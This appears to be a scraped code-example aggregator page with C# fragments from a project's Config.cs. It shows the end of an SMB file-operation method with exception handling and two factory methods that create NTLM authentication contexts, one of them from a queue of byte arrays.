                            }
                            else
                            {
                                return result;
                            }
                        }
                    }, 5);
                }
                catch (SmbException ex)
                {
                    LogException(ex);
                    throw new System.IO.IOException(ex.Message, ex);
                }
                catch (Java.IO.IOException ex)
                {
                    throw new System.IO.IOException(ex.Message, ex);
                }
                return result;
            }));
        }
コード例 #24
0
ファイル: Config.cs プロジェクト: glen61y141/WinKernelhub
 public INtlmContext create(NtlmPasswordAuthentication auth, bool doSigning)
 {
     return(new QueuedNtlmContext((Queue <byte[]>)auth.additionalData));
 }
コード例 #25
0
ファイル: Config.cs プロジェクト: glen61y141/WinKernelhub
 public INtlmContext create(NtlmPasswordAuthentication auth, bool doSigning)
 {
     return(new SharpCifs.Smb.NtlmContext(auth, doSigning));
 }